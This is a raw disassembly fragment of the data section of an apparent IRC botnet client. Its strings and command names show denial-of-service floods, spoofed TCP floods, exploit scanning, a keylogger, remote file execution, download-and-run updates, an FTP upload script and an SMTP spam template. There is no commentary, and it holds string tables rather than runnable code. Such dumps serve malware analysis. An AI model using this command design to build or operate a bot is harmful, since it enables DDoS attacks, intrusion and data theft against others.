		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_4367E0	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41BBo
					; sub_40EE72+4CAFo
dword_4367E8	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co
dword_4367F4	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4132o
dword_4367FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F91o
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
dword_436840	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E8o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4094o
		align 10h
dword_436870	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBEo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_436894	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Co
					; sub_40EE72+40BFo ...
unk_4368A4	db    2			; DATA XREF: sub_40EE72:loc_412E2Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4368F8	db    2			; DATA XREF: sub_40EE72+3FAFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_436944	db    2			; DATA XREF: sub_40EE72+3F40o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E97o
		align 4
dword_43698C	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E35o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4369B4	db    2			; DATA XREF: sub_40EE72+3E2Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4369E8	db    2			; DATA XREF: sub_40EE72+3DA2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_436A34	db    2			; DATA XREF: sub_40EE72+3D28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_436A74	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AFBo
					; sub_40EE72:loc_413964o
		dd 0BBBB0220h, 2002h
unk_436A90	db    2			; DATA XREF: sub_40EE72+3C71o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_436AC4	db    2			; DATA XREF: sub_40EE72:loc_412AC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_436B0C	db    2			; DATA XREF: sub_40EE72+3C45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436B54	db    2			; DATA XREF: sub_40EE72+3BD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 10h
unk_436B90	db    2			; DATA XREF: sub_40EE72+3B4Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_436BD8	db    2			; DATA XREF: sub_40EE72+3ADFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_436C18	db    2			; DATA XREF: sub_40EE72+3A57o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_436C60	db    2			; DATA XREF: sub_40EE72+39E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 10h
dword_436CA0	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+394Ao
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CE8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D9o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_436D24	db    2			; DATA XREF: sub_40EE72+3860o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436D74	db    2			; DATA XREF: sub_40EE72+37F1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 10h
unk_436DB0	db    2			; DATA XREF: sub_40EE72+371Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_436E04	db    2			; DATA XREF: sub_40EE72+36B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E50	db    2			; DATA XREF: sub_40EE72+3622o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_436E9C	db    2			; DATA XREF: sub_40EE72+35B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Fo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3432o
		align 4
dword_436F08	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A4o
					; sub_40EE72+43F1o
unk_436F14	db    2			; DATA XREF: sub_40EE72+3342o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_436F5C	db    2			; DATA XREF: sub_40EE72+32D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A8o
					; sub_40EE72+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+32A1o
					; sub_40EE72+50D6o
		align 10h
unk_436FE0	db    2			; DATA XREF: sub_40EE72+3163o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_437024	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_437070	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_4370B8	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_437128	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_437170	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4371C8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_437210	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_437258	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_4372AC	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4372E4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_437320	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_437398	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 10h
unk_4373F0	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 10h
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 10h
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 10h
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 10h
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_43773C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_437768	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_437798	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4377C4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 4
dword_4377FC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_43782C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 4
dword_43787C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_4378AC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_4378E0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_437930	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43797C	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4379AC	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4379DC	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_437A18	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 10h
unk_437A70	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
